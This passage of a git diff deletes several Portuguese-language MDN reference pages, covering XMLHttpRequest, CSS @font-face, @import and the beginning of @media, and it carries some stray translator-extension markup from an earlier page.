value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/xmlhttprequest/index.html b/files/pt-pt/web/api/xmlhttprequest/index.html
deleted file mode 100644
index 3e5489f088..0000000000
--- a/files/pt-pt/web/api/xmlhttprequest/index.html
+++ /dev/null
@@ -1,174 +0,0 @@
----
-title: XMLHttpRequest
-slug: Web/API/XMLHttpRequest
-tags:
- - AJAX
- - API
- - HTTP
- - Interface
- - Referencia
- - Web
- - XHR
-translation_of: Web/API/XMLHttpRequest
----
-<div>{{APIRef("XMLHttpRequest")}}</div>
-
-<p><span class="seoSummary">Utilize os objetos <code>XMLHttpRequest</code> (XHR) para interagir com os servidores. Pode obter os dados de um URL sem ter que recarregar toda a página. Isto permite que uma página da Web atualize apenas parte da mesma, </span> sem interromper o que o utilizador está a fazer<span class="seoSummary">.</span> <code>XMLHttpRequest</code> é totalmente utilizado na programação <a href="/pt-PT/docs/Web/Guide/AJAX">Ajax</a>.</p>
-
-<p>{{InheritanceDiagram}}</p>
-
-<h5 id="História">História</h5>
-
-<p><code>XMLHttpRequest</code> was originally designed by Microsoft around 1999 and later adopted by Mozilla, Apple, and Google. Since October 2014, it has been <a class="external" href="https://xhr.spec.whatwg.org/">standardized at the <abbr title="Web Hypertext Application Technology Working Group">WHATWG</abbr></a>, <a href="https://fetch.spec.whatwg.org/">together</a> with the new promise-based {{domxref("WindowOrWorkerGlobalScope.fetch()", "fetch()")}} method.</p>
-
-<p>Despite its name, <code>XMLHttpRequest</code> can be used to retrieve any type of data, not just XML, and it supports protocols other than <a href="/en-US/docs/Web/HTTP">HTTP</a> (including <code>file</code> and <code>ftp</code>).</p>
-
-<h2 id="Constructor">Constructor</h2>
-
-<dl>
- <dt>{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}</dt>
- <dd>The constructor initializes an XMLHttpRequest. It must be called before any other method calls.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>This interface also inherits properties of {{domxref("XMLHttpRequestEventTarget")}} and of {{domxref("EventTarget")}}.</em></p>
-
-<dl>
- <dt id="xmlhttprequest-onreadystatechange">{{domxref("XMLHttpRequest.onreadystatechange")}}</dt>
- <dd>An {{domxref("EventHandler")}} that is called whenever the <code>readyState</code> attribute changes.</dd>
- <dt id="xmlhttprequest-readystate">{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}</dt>
- <dd>Returns an <code>unsigned short</code>, the state of the request.</dd>
- <dt>{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}</dt>
- <dd>Returns an {{domxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}}, JavaScript object, or a {{domxref("DOMString")}}, depending on the value of {{domxref("XMLHttpRequest.responseType")}}. that contains the response entity body.</dd>
- <dt id="xmlhttprequest-responsetext">{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}</dt>
- <dd>Returns a {{domxref("DOMString")}} that contains the response to the request as text, or <code>null</code> if the request was unsuccessful or has not yet been sent.</dd>
- <dt id="xmlhttprequest-responsetype">{{domxref("XMLHttpRequest.responseType")}}</dt>
- <dd>Is an enumerated value that defines the response type.</dd>
- <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}</dt>
- <dd>Returns the serialized URL of the response or the empty string if the URL is null.</dd>
- <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}</dt>
- <dd>Returns a {{domxref("Document")}} containing the response to the request, or <code>null</code> if the request was unsuccessful, has not yet been sent, or cannot be parsed as XML or HTML. Not available in workers.</dd>
- <dt id="xmlhttprequest-status">{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}</dt>
- <dd>Returns an <code>unsigned short</code> with the status of the response of the request.</dd>
- <dt id="xmlhttprequest-statustext">{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}</dt>
- <dd>Returns a {{domxref("DOMString")}} containing the response string returned by the HTTP server. Unlike {{domxref("XMLHTTPRequest.status")}}, this includes the entire text of the response message ("<code>200 OK</code>", for example).</dd>
-</dl>
-
-<div class="note">
-<p><strong>Nota:</strong> via HTTP/2 specification (<a href="https://http2.github.io/http2-spec/#rfc.section.8.1.2.4">8.1.2.4</a> <a href="https://http2.github.io/http2-spec/#HttpResponse">Response Pseudo-Header Fields</a>), HTTP/2 does not define a way to carry the version or reason phrase that is included in an HTTP/1.1 status line.</p>
-</div>
-
-<dl>
- <dt id="xmlhttprequest-timeout">{{domxref("XMLHttpRequest.timeout")}}</dt>
- <dd>Is an <code>unsigned long</code> representing the number of milliseconds a request can take before automatically being terminated.</dd>
- <dt id="xmlhttprequesteventtarget-ontimeout">{{domxref("XMLHttpRequestEventTarget.ontimeout")}}</dt>
- <dd>Is an {{domxref("EventHandler")}} that is called whenever the request times out. {{gecko_minversion_inline("12.0")}}</dd>
- <dt id="xmlhttprequest-upload">{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}</dt>
- <dd>Is an {{domxref("XMLHttpRequestUpload")}}, representing the upload process.</dd>
- <dt id="xmlhttprequest-withcredentials">{{domxref("XMLHttpRequest.withCredentials")}}</dt>
- <dd>Is a {{domxref("Boolean")}} that indicates whether or not cross-site <code>Access-Control</code> requests should be made using credentials such as cookies or authorization headers.</dd>
-</dl>
-
-<h3 id="Proriedades_não_padrão">Proriedades não padrão</h3>
-
-<dl>
- <dt>{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}</dt>
- <dd>Is a {{Interface("nsIChannel")}}. The channel used by the object when performing the request.</dd>
- <dt>{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}</dt>
- <dd>Is a boolean. If true, the request will be sent without cookie and authentication headers.</dd>
- <dt>{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}</dt>
- <dd>Is a boolean. If true, the same origin policy will not be enforced on the request.</dd>
- <dt>{{domxref("XMLHttpRequest.mozBackgroundRequest")}}</dt>
- <dd>Is a boolean. It indicates whether or not the object represents a background service request.</dd>
- <dt>{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}</dt>
- <dd>Is an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer"><code>ArrayBuffer</code></a>. The response to the request, as a JavaScript typed array.</dd>
- <dt>{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}</dt>
- <dd><strong>This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22.</strong> Please use <a href="/en-US/docs/Web/API/Server-sent_events">Server-Sent Events</a>, <a href="/en-US/docs/Web/API/WebSockets_API">Web Sockets</a>, or <code>responseText</code> from progress events instead.</dd>
-</dl>
-
-<h3 id="Manipuladores_de_evento">Manipuladores de evento</h3>
-
-<p><code>onreadystatechange</code> as a property of the <code>XMLHttpRequest</code> instance is supported in all browsers.</p>
-
-<p>Since then, a number of additional event handlers were implemented in various browsers (<code>onload</code>, <code>onerror</code>, <code>onprogress</code>, etc.). These are supported in Firefox. In particular, see <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequestEventTarget" title="">nsIXMLHttpRequestEventTarget</a></code> and <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a>.</p>
-
-<p>More recent browsers, including Firefox, also support listening to the <code>XMLHttpRequest</code> events via standard <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> APIs in addition to setting <code>on*</code> properties to a handler function.</p>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{domxref("XMLHttpRequest.abort()")}}</dt>
- <dd>Aborts the request if it has already been sent.</dd>
- <dt>{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}</dt>
- <dd>Returns all the response headers, separated by <a href="https://developer.mozilla.org/en-US/docs/Glossary/CRLF">CRLF</a>, as a string, or <code>null</code> if no response has been received.</dd>
- <dt>{{domxref("XMLHttpRequest.getResponseHeader()")}}</dt>
- <dd>Returns the string containing the text of the specified header, or <code>null</code> if either the response has not yet been received or the header doesn't exist in the response.</dd>
- <dt>{{domxref("XMLHttpRequest.open()")}}</dt>
- <dd>Initializes a request. This method is to be used from JavaScript code; to initialize a request from native code, use <a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#openRequest()"><code>openRequest()</code></a> instead.</dd>
- <dt>{{domxref("XMLHttpRequest.overrideMimeType()")}}</dt>
- <dd>Overrides the MIME type returned by the server.</dd>
- <dt>{{domxref("XMLHttpRequest.send()")}}</dt>
- <dd>Sends the request. If the request is asynchronous (which is the default), this method returns as soon as the request is sent.</dd>
- <dt>{{domxref("XMLHttpRequest.setRequestHeader()")}}</dt>
- <dd>Sets the value of an HTTP request header. You must call <code>setRequestHeader()</code>after <a href="#open"><code>open()</code></a>, but before <code>send()</code>.</dd>
-</dl>
-
-<h3 id="Métodos_não_padrão">Métodos não padrão</h3>
-
-<dl>
- <dt>{{domxref("XMLHttpRequest.init()")}}</dt>
- <dd>Initializes the object for use from C++ code.</dd>
-</dl>
-
-<div class="warning"><strong>Aviso:</strong> este método <strong>não </strong>deve ser chamado do JavaScript.</div>
-
-<dl>
- <dt>{{domxref("XMLHttpRequest.openRequest()")}}</dt>
- <dd>Initializes a request. This method is to be used from native code; to initialize a request from JavaScript code, use <a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#open()"><code>open()</code></a> instead. See the documentation for <code>open()</code>.</dd>
- <dt>{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}</dt>
- <dd>A variant of the <code>send()</code> method that sends binary data.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('XMLHttpRequest')}}</td>
- <td>{{Spec2('XMLHttpRequest')}}</td>
- <td>Live standard, latest version</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<div>{{Compat("api.XMLHttpRequest")}}</div>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>Tutoriais da MDN abrangendo XMLHttpRequest:
- <ul>
- <li><a href="/en-US/docs/AJAX/Getting_Started">Ajax — Getting Started</a></li>
- <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
- <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
- <li><a href="/en-US/docs/Web/API/FormData"><code>FormData</code></a></li>
- </ul>
- </li>
- <li><a class="external" href="http://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks — New Tricks in XMLHttpRequest2</a></li>
- <li><code>Chrome scope availability</code> — how to access XMLHttpRequest from JSM modules etc., which do not have access to DOM
- <ul>
- <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
- <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">nsIXMLHttpRequest</a></li>
- </ul>
- </li>
-</ul>
diff --git a/files/pt-pt/web/css/@font-face/index.html b/files/pt-pt/web/css/@font-face/index.html
deleted file mode 100644
index 8a150d736c..0000000000
--- a/files/pt-pt/web/css/@font-face/index.html
+++ /dev/null
@@ -1,143 +0,0 @@
----
-title: '@font-face'
-slug: Web/CSS/@font-face
-translation_of: Web/CSS/@font-face
----
-<p>{{ CSSRef() }}</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p><code>@font-face </code>permite que autores especifiquem fontes online para exibir texto em suas páginas web. Permitindo autores a proporcionar suas próprias fontes,<code> @font-face </code>elimina a necessidade de depender do limitado número de fontes que os usuários tem instalado em seus computadores.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre>@font-face {
- font-family: &lt;a-remote-font-name&gt;;
- src: &lt;source&gt; [,&lt;source&gt;]*;
-  [font-weight: &lt;weight&gt;];
-  [font-style: &lt;style&gt;];
-}
-</pre>
-
-<h3 id="Valores">Valores</h3>
-
-<dl>
- <dt>&lt;a-remote-font-name&gt; </dt>
- <dd>Especifica um nome para a fonte que será usado como valor de <code>font-face</code> na propriedade <code>font</code>.</dd>
- <dt>&lt;source&gt; </dt>
- <dd>URL para a localização remota do arquivo da fonte ou o nome da fonte no computador do usuário na forma <code>local("Nome da Font")</code>.</dd>
- <dt>&lt;weight&gt; </dt>
- <dd>Um valor para a espessura da fonte (<a class="internal" href="/en/CSS/font-weight" title="en/CSS/font-weight">font weight</a> (en)).</dd>
- <dt>&lt;style&gt; </dt>
- <dd>Um valor para o estilo da fonte (<a class="internal" href="/en/CSS/font-style" title="en/CSS/font-style">font style</a> (en)).</dd>
-</dl>
-
-<p>Você pode especificar uma fonte local no computador do usuário através do nome, usando a sintaxe <code>local()</code>. Se esta fonte não for encontrada, outras fontes serão tentadas até que uma seja encontrada.</p>
-
-<h2 id="Formatos_de_fontes_suportados">Formatos de fontes suportados</h2>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;">O Gecko 1.9.1 (Firefox 3.5) suporta fontes True Type e OpenType.</li>
- <li style="margin-bottom: 0.25em;">O Gecko 1.9.2 (Firefox 3.6) adiciona suporte para <a href="/en/About_WOFF" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/About WOFF">WOFF</a> (en).</li>
-</ul>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Este simples exemplo especifica uma fonte baixável para uso, aplicando-a ao corpo do documento.</p>
-
-<p><a class="internal" href="/@api/deki/files/2935/=webfont-sample.html" title="/@api/deki/files/2935/=webfont-sample.html">Ver amostra</a></p>
-
-<pre>&lt;html&gt;
-&lt;head&gt;
- &lt;title&gt;Web Font Sample&lt;/title&gt;
- &lt;style type="text/css" media="screen, print"&gt;
- @font-face {
- font-family: "Bitstream Vera Serif Bold";
- src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
- }
-
- body { font-family: "Bitstream Vera Serif Bold", serif }
- &lt;/style&gt;
-&lt;/head&gt;
-&lt;body&gt;
- This is Bitstream Vera Serif Bold.
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<p>Neste exemplo, a cópia local do usuário de "Helvetica Neue Bold" é usada; se o usuário não possuir a fonte instalada (dois diferentes nomes são tentados), então, a fonte baixável, chamada "MgOpenModernaBold.ttf" é usada em seu lugar:</p>
-
-<pre class="brush: css">@font-face {
-  font-family: MyHelvetica;
-  src: local("Helvetica Neue Bold"),
-  local("HelveticaNeue-Bold"),
-  url(MgOpenModernaBold.ttf);
-  font-weight: bold;
-}
-</pre>
-
-<h2 id="Notas">Notas</h2>
-
-<ul>
- <li>No Gecko, fontes web estão sujeitas à mesma restrição de domínio (arquivos de fontes precisam estar no mesmo domínio da página que os está utilizando), a menos que <a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">HTTP access controls</a> (EN) seja usado para relaxar esta restrição.</li>
- <li>
- <div class="note"><strong>Nota:</strong> O tipo MIME do arquivo especificado não é considerado porque não há tipos MIME definidos parar fontes TrueType e OpenType.</div>
- </li>
- <li>Quando o Gecko exibe uma página que usa fontes web, ele inicialmente exibe o texto usando a melhor fonte <strong>fallback</strong> CSS disponível no computador do usuário enquanto aguarda o fim do download da fonte web. Conforme as fontes web são baixadas, o Gecko atualiza o texto que use essa fonte. Isto permite que o usuário leia o texto da página mais rapidamente.</li>
-</ul>
-
-<h2 id="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- <th>Suporte a</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td><strong>4.0</strong></td>
- <td>Somente fontes OpenType embutidas</td>
- </tr>
- <tr>
- <td rowspan="2">Firefox (Gecko)</td>
- <td><strong>3.5</strong> (1.9.1)</td>
- <td>Somente fontes TrueType e OpenType</td>
- </tr>
- <tr>
- <td><strong>3.6</strong> (1.9.2)</td>
- <td>Formato de fonte web aberta (WOFF)</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td><strong>10.0</strong></td>
- <td>Somente fontes TrueType e OpenType</td>
- </tr>
- <tr>
- <td>Safari (WebKit)</td>
- <td><strong>3.1</strong> (525)</td>
- <td>Somente fontes TrueType e OpenType</td>
- </tr>
- </tbody>
-</table>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Veja também <a class="external" href="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx">MSDN Microsoft library @font-face</a> (EN).</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#font-descriptions" title="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#font-descriptions">CSS 2 Fonts</a> 12/05/1998 - Obsoleto</li>
- <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-resources" title="http://www.w3.org/TR/css3-fonts/#font-resources">CSS 3 Fonts</a> 2009 - Rascunho em trabalho</li>
- <li><a class="external" href="http://people.mozilla.com/~jkew/woff/woff-2009-09-16.html" title="http://people.mozilla.com/~jkew/woff/woff-2009-09-16.html">WOFF file format specification</a> - Rascunho</li>
-</ul>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;"><a class="external" href="http://www.fontsquirrel.com/fontface/generator" title="http://www.fontsquirrel.com/fontface/generator">FontSquirrel @font-face generator</a> (en)</li>
- <li style="margin-bottom: 0.25em;"><a href="/en/About_WOFF" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/About WOFF">About WOFF</a> (en)</li>
- <li style="margin-bottom: 0.25em;"><a class="external" href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/" title="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">Beautiful fonts with @font-face </a>(en)</li>
- <li style="margin-bottom: 0.25em;"><a class="external" href="http://openfontlibrary.org/" title="http://openfontlibrary.org/">Open Font Library</a> (en)</li>
- <li style="margin-bottom: 0.25em;"><a class="external" href="http://opentype.info/demo/webfontdemo.html" title="http://opentype.info/demo/webfontdemo.html">10 Great Free Fonts for @font-face embedding</a> (en)</li>
-</ul>
diff --git a/files/pt-pt/web/css/@import/index.html b/files/pt-pt/web/css/@import/index.html
deleted file mode 100644
index b67776898e..0000000000
--- a/files/pt-pt/web/css/@import/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: '@import'
-slug: Web/CSS/@import
-tags:
- - At-rule
- - CSS
- - Referencia
- - Referencia_CSS
- - import
-translation_of: Web/CSS/@import
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p><code>@import</code> é utilizado para importar regras de estilo de outros folhas de estilo.</p>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">@import "<em>url</em>";
-@import "<em>url</em>"<em>media1</em>,<em>media2</em>,<em>...</em>;
-@import url("<em>url</em>");
-@import url("<em>url</em>")<em>media1</em>;
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>De modo que agentes do usuário possam evitar recuperar recursos para tipos não suportados de mídia, autores podem especificar regras <code>@import</code> dependentes de mídia. A importação destas condicionais especifica separado por vírgulas os <a href="pt/CSS/@media#Media_types">tipos de mídia</a> depois da URL. No <code>all</code> para o médio tem o mesmo efeito.</p>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<pre class="eval">@import url("fineprint.css") print;
-@import url("bluish.css") projection, tv;
-</pre>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/REC-CSS1#the-cascade">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/cascade.html#at-import">CSS 2.1</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("@media") }}, {{ Cssxref("@font-face") }}, {{ Cssxref("@import") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/@import", "fr": "fr/CSS/@import", "pl": "pl/CSS/@import" } ) }}</p>
diff --git a/files/pt-pt/web/css/@media/index.html b/files/pt-pt/web/css/@media/index.html
deleted file mode 100644
index 959cc3c59f..0000000000
--- a/files/pt-pt/web/css/@media/index.html
+++ /dev/null
@@ -1,276 +0,0 @@
----
-title: '@media'
-slug: Web/CSS/@media
-tags:
- - CSS
- - Referencia
- - Referencia_CSS
-translation_of: Web/CSS/@media
----
-<p>{{ CSSRef() }}</p>
-
-<p id="Resumo">A <a href="/pt-PT/docs/Web/CSS/At-rule" title="en/CSS/At-rule">regra "at"</a> <code>@media</code> de <a href="/pt-PT/docs/Web/CSS" title="CSS">CSS</a> permite aplicar parte de uma folha de estilos com a condição definida por uma ou mais consultas de média.</p>
-
-<p>Pode utilizar-se tanto no início do código como dentro de qualquer outra regra "at" condicional.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> Em JavaScript, a funcionalidade desta regra está disponível através da interface {{domxref("CSSMediaRule")}} do modelo/objeto CSS.</p>
-</div>
-
-<h2 id="Sintaxe" name="Sintaxe">Sintaxe</h2>
-
-<pre class="brush: css"><code>/* No nível mais abrangente do código */
-@media screen and (min-width: 900px) {
- article {
- padding: 1rem 3rem;
- }
-}
-
-/* Dentro de outra regra-"at" condicional */
-@supports (display: flex) {
- @media screen and (min-width: 900px) {
- article {
- display: flex;
- }
- }
-}</code></pre>
-
-<p>Para aprofundar a sintaxe de consultas de média, por favor leia <a href="/pt-PT/docs/Web/CSS/Consulta_de_mídia">Utilizar consultas de média</a>.</p>
-
-<h2 id="Tipos_de_m.C3.ADdia" name="Tipos_de_m.C3.ADdia">Tipos de média</h2>
-
-<dl>
- <dt><code>all</code> (todos)</dt>
- <dd>Destinado para todos os dispositivos.</dd>
- <dt><code>print</code> (impressão)</dt>
- <dd>Destinado para material paginado e para documentos visualizados no ecrã no modo de pré-visualizar impressão. Por favor, consulte a secção de <a href="/pt-PT/docs/Web/CSS/Média_paginada" title="https://developer.mozilla.org/en/CSS/Paged_Media">média paginada,</a> e a <a href="/pt-PT/docs/Web/CSS/Como_começar/Mídia" title="https://developer.mozilla.org/en/CSS/Getting_Started/Media">secção de média do tutorial de Como Começar </a>para informação sobre a formatação de problemas que são específicos para a média paginada.</dd>
- <dt><code>screen</code> (ecrã)</dt>
- <dd>Destinado primariamente para os ecrãs de computador a cores.</dd>
- <dt><code>speech</code> (elocução)</dt>
- <dd>
